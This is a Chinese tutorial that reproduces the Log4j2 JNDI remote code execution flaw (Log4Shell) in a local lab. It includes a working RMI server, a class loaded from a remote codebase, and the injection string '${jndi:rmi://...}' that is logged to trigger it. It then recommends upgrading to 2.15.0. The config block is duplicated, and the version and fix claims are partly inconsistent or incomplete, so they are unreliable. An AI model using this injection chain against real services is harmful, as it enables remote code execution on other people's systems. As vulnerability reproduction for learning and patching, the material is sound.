前言
因为log4j2是java的日志框架, 所在这边也使用java进行测试,需要注意的是,log4j2的版本从2.0 ~ 2.14.1之间都是有安全漏洞的, 在2.15版本(包含2.15)后就已经修复了这个漏洞;所以我们在复现时只要版本不超过2.15即可;
原因
开源网安研究院注意到,一个 Apache Log4j2 的高危漏洞细节被公开,攻击者利用漏洞可以远程执行代码。SourceCheck 产品对此次漏洞可以提供在线和离线升级包来对此协助筛查。
近日经专家团队检测发现,该漏洞只要外部用户输入数据就会被日志记录,即可造成远程代码执行。成功利用该漏洞的攻击者可以在目标设备上远程执行恶意代码。
准备复现
在复现前,需要先准备以下几样东西
- nginx:无版本限制
- Intellij idea :用来编写jmdi 服务端代码,和测试log日志
- log4j 依赖:(maven自动下载)
开整
因为是远程执行漏洞嘛,所以肯定需要用到不同的工程,这里准备了2个项目,一个是jmdi的服务端,另一个是打印log日志的测试类(就是一个简单的main方法)
1、准备第一个项目:jmdi服务端
项目名称为 : Jmdi-rmi-server
先创建一个服务端启动文件
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
// 本地执行方式
// Reference reference = new Reference("com.rmi.RunObject", "com.rmi.RunObject", null);
// tips:如果是远程执行,需要将`RunObject`编译后的字节码文件放到nginx html访问目录下,再通过如下方式执行程序
Reference reference = new Reference("com.rmi.RunObject",
"com.rmi.RunObject", "http://127.0.0.1:80/"); // 第三个参数是nginx的地址
registry.bind("app", new ReferenceWrapper(reference));
System.out.println("Create app registry on port 1099...");
} catch (Exception e) {
e.printStackTrace();
}
}
除此之外,还要有一个执行的类RunObject.java
,这个类有什么作用呢?,当我们打印第二个项目的log日志时,就会执行static静态代码块里面的代码, 是不是很神奇呢?我们拭目以待吧
package com.rmi;
/**
* 将此类的代码编译成class文件后放到nginx的html目录下即可
*/
public class RunObject {
static {
for (int i = 0; i < 10; i++) {
System.out.println(String.format("第%d次轮询", i));
}
}
}
2、准备第二个项目:log运行环境
先加上log4j的依赖,版本不小于2.0
,不超过2.14.1
即可
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.13.2</version>
</dependency>
log4j日志配置文件 :log4j2.properties
status=error
name=PropertiesConfig
filters=threshold
filter.threshold.type=ThresholdFilter
filter.threshold.level=debug
appenders=console
appender.console.type=Console
appender.console.name=STDOUT
appender.console.layout.type=PatternLayout
appender.console.layout.pattern=%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
rootLogger.level=debug
rootLogger.appenderRefs=stdout
rootLogger.appenderRef.stdout.ref=STDOUTstatus = error
name=PropertiesConfig
filters=threshold
filter.threshold.type=ThresholdFilter
filter.threshold.level=debug
appenders=console
appender.console.type=Console
appender.console.name=STDOUT
appender.console.layout.type=PatternLayout
appender.console.layout.pattern=%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
rootLogger.level=debug
rootLogger.appenderRefs=stdout
rootLogger.appenderRef.stdout.ref=STDOUT
打印日志的代码,纳尼?这么简单嘛?没错就是这么简单
package com;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
static Logger logger = LogManager.getLogger();
public static void main(String[] args) {
// jdk 1.8 需要加上以下配置
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String value = "${jndi:rmi://192.168.255.10:1099/app}";
logger.info("123 {}", value);
}
}
3、启动nginx
自行去官网下载一个任意版本的nginx即可,建议使用新版本
4、编译RunObject 并放到nginx中
第一步中的jndi 服务端还有 RunObject.java
文件,先将这个文件进行编译,得到一个RunObject.class
文件,将这个文件连同包名放到nginx的html文件夹下,目录为:nginx目录/html
,记得要将类的包名创建好文件夹哦,因为我的RunObject
是在com.rmi
包下的,所以要将class文件放到`nginx目录/html/com/rmi/
目录下,后面的2级目录需要自己创建好
5、万事俱备
好了现在,环境就已经搭建好了,接下来,先启动服务端,运行后会打印以下内容;表示已经启动成功了,服务端因为要接收请求,所以会一直阻塞;
6、进行打印log4j日志
运行后打印以下日志表示成功,可以看到这边直接执行了服务端RunObject类的静态代码
修复
要修复非常简单,只需要将mave依赖的log4j版本修改为2.15以上即可
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
修改后在执行会发现,一切正常了